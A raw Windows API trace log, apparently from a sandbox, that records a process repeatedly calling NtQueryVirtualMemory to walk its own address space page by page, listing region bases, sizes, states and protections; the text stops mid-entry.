NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x1d000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x1e000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x1f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x1f000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x20000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x21000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x21000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x22000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x22000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x23000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x23000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x24000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x24000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x25000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x25000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x26000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x26000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x27000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x27000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x28000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x28000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x29000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x29000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.845] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x2b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x2c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x2d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x2e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x2f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x31000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x31000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x32000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x32000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x33000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x33000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x34000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x34000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x35000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x35000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x36000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x37000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x37000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x38000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x38000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x39000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x39000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x3a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x3b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x3c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x3d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x3e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x3f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x40000, AllocationBase=0x40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x41000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x41000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x42000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x43000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x44000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.846] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x45000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x46000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x46000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x47000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x48000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x49000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x4a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x4b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x4c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x4d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x4e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x4f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x51000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x38000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x52000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x52000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x37000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x53000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x36000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x54000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x35000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x55000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x34000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x56000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x56000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x33000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x57000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x57000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x32000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x58000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x58000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x31000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x59000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x59000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x30000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x5a000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x5b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x5c000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x5d000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x5e000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x5f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.847] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x60000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x60000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x29000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x61000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x28000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x62000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x62000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x27000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0x63000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x26000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.848] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x64000, 